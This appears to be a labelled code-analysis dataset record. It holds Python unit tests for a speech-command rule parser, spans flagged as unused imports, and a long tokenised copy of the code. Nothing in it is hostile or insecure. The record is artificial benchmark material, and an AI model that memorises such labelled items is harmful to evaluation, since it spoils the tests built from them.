<3>')\n words = 'hello dear leader'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_any5", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 194 }, { "content": " def test_any6(self):\n rule = ruleparser.Rule('hello <any> <3->')\n words = 'hello dear leader how are you today'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'dear', 'leader', 'how', 'are', 'you', 'today'])", "metadata": "root.TestRuleMatching.test_any6", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 199 }, { "content": " def test_any7(self):\n rule = ruleparser.Rule('hello <any> <0-3> are you today')\n words = 'hello dear leader how are you today'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'dear', 'leader', 'how', 'are', 'you', 'today'])", "metadata": "root.TestRuleMatching.test_any7", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 204 }, { "content": " def test_any8(self):\n rule = ruleparser.Rule('hello <any> <0-3>')\n words = 'hello dear leader'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'dear', 'leader'])", "metadata": "root.TestRuleMatching.test_any8", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 209 }, { "content": " def test_any9(self):\n rule = ruleparser.Rule('word <any> <1->')\n words = 'word'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_any9", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 214 }, { "content": " def test_any10(self):\n rule = ruleparser.Rule('word <any> <0-1>')\n words = 'word'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['word'])", "metadata": "root.TestRuleMatching.test_any10", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 219 }, { "content": " def test_any11(self):\n rule = ruleparser.Rule('select [(blue | fish) whale]')\n words = 'select fish'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['select'])\n self.assertEqual(list(matching.get_rule_match(rule, words).remaining_words), ['fish'])", "metadata": "root.TestRuleMatching.test_any11", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 224 }, { "content": " def test_homophone1(self):\n rule = ruleparser.Rule('hello <hom_line>')\n words = 'hello line'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'line'])", "metadata": "root.TestRuleMatching.test_homophone1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 230 }, { "content": " def test_homophone2(self):\n rule = ruleparser.Rule('hello <hom_line>')\n words = 'hello wine'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'line'])", "metadata": "root.TestRuleMatching.test_homophone2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 235 }, { "content": " def test_homophone3(self):\n rule = ruleparser.Rule('hello <hom_line>')\n words = 'hello why n'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'line'])", "metadata": "root.TestRuleMatching.test_homophone3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 240 }, { "content": " def test_homophone_not_in_list1(self):\n rule = ruleparser.Rule('hello <hom_phone>')\n words = 'hello phone'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['hello', 'phone'])", "metadata": "root.TestRuleMatching.test_homophone_not_in_list1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 245 }, { "content": " def test_homophone_not_in_list2(self):\n rule = ruleparser.Rule('hello <hom_phone>')\n words = 'hello bone'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_homophone_not_in_list2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 250 }, { "content": " def test_mix1(self):\n rule = ruleparser.Rule('(bend cat | cat)')\n words = 'cat'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['cat'])", "metadata": "root.TestRuleMatching.test_mix1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 255 }, { "content": " def test_mix2(self):\n rule = ruleparser.Rule('[<any>] test')\n words = 'cat'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_mix2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 260 }, { "content": " def test_mix3(self):\n rule = ruleparser.Rule('(camel | score | title | upper) <any> <1->')\n words = 'upper hello world'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['upper', 'hello', 'world'])", "metadata": "root.TestRuleMatching.test_mix3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 265 }, { "content": " def test_mix4(self):\n rule = ruleparser.Rule('(test | outer hello | outer)')\n words = 'outer'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['outer'])", "metadata": "root.TestRuleMatching.test_mix4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 270 }, { "content": " def test_mix5(self):\n rule = ruleparser.Rule('<hom_poke> <num>')\n words = 'poke 12'.split()\n self.assertEqual(list(matching.get_rule_match(rule, words).matched_words), ['poke', '12'])", "metadata": "root.TestRuleMatching.test_mix5", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 275 }, { "content": " def test_end1(self):\n rule = ruleparser.Rule('hello world <end>')\n words = 'hello world'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello', 'world'])", "metadata": "root.TestRuleMatching.test_end1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 280 }, { "content": " def test_end2(self):\n rule = ruleparser.Rule('hello world <end>')\n words = 'hello world goodbye'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertIsNone(rule_match)", "metadata": "root.TestRuleMatching.test_end2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 286 }, { "content": " def test_wildcard1(self):\n rule = ruleparser.Rule('<any>')\n words = 'hello'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello'])", "metadata": "root.TestRuleMatching.test_wildcard1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 292 }, { "content": " def test_wildcard2(self):\n rule = ruleparser.Rule('hello <any> world')\n words = 'hello large world'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello', 'large', 'world'])", "metadata": "root.TestRuleMatching.test_wildcard2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 298 }, { "content": " def test_repetition1(self):\n rule = ruleparser.Rule('hello <any> <2>')\n words = 'hello large world'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello', 'large', 'world'])", "metadata": "root.TestRuleMatching.test_repetition1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 304 }, { "content": " def test_repetition2(self):\n rule = ruleparser.Rule('hello <any> <2->')\n words = 'hello large world'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello', 'large', 'world'])", "metadata": "root.TestRuleMatching.test_repetition2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 310 }, { "content": " def test_repetition3(self):\n rule = ruleparser.Rule('hello large <any> <0-2> world')\n words = 'hello large world'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['hello', 'large', 'world'])", "metadata": "root.TestRuleMatching.test_repetition3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 316 }, { "content": " def test_repetition4(self):\n rule = ruleparser.Rule('<hom_line> this is a test')\n words = 'line this is a test'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['line', 'this', 'is', 'a', 'test'])", "metadata": "root.TestRuleMatching.test_repetition4", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 322 }, { "content": " def test_num_range1(self):\n rule = ruleparser.Rule('<num_44>')\n words = '32'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['32'])", "metadata": "root.TestRuleMatching.test_num_range1", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 328 }, { "content": " def test_num_range2(self):\n rule = ruleparser.Rule('<num_5_44>')\n words = 'six'.split()\n rule_match = matching.get_rule_match(rule, words)\n self.assertEqual(list(rule_match.matched_words), ['6'])", "metadata": "root.TestRuleMatching.test_num_range2", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 334 }, { "content": " def test_num_range3(self):\n rule = ruleparser.Rule('<num_5_44>')\n words = '44'.split()\n self.assertIsNone(matching.get_rule_match(rule, words))", "metadata": "root.TestRuleMatching.test_num_range3", "header": "['class', 'TestRuleMatching', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 340 } ]
[ { "span": "import string", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 13 }, { "span": "import sys", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 10 }, { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 }, { "span": "import tempfile", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 15 }, { "span": "import zipfile", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 14 }, { "span": "import shutil", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 13 }, { "span": "import copy", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zipfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "host_", "import_", "rule", "parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "host_", "import_", "matching_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLIN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LINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "Up", "Class_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "overflow", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "overflow", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", "]", " ", "(", "world", " ", "|", " ", "univ", "erse", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "there", " ", "world", " ", "how", " ", "are", " ", "you", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "there", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "rema", "inin", "g", "\\u", "words_", ")_", ",_", "[_", "'", "how", "'_", ",_", "'", "are", "'_", ",_", "'", "you", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "world", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "3_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "world", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", "]", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "5_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", "]", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "there", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "there", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", "]", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "there", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "7_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", "]", " ", "[", "world", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "there", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "there", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "8_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'", "hell", "o", " ", "[", "there", " ", "world", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", " ", "there", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", ",_", "'", "there", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "basic", "9_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'[", "there", " ", "world", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "there", " ", "world", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "there", "'_", ",_", "'", "world", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "hell", "o", " ", "|", " ", "good", "bye", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "hell", "o", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", "\\u", "rule", "\\u", "match_", "(_", "rule_", ",_", "words_", ")_", "._", "matche", "d\\u", "words_", ")_", ",_", "[_", "'", "hell", "o", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Rule", "Match", "ing_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rule_", "=_", "rule", "parser_", "._", "Rule_", "(_", "'(", "hell", "o", " ", "|", " ", "good", "bye", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words_", "=_", "'", "good", "bye", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "list_", "(_", "matching_", "._", "get", 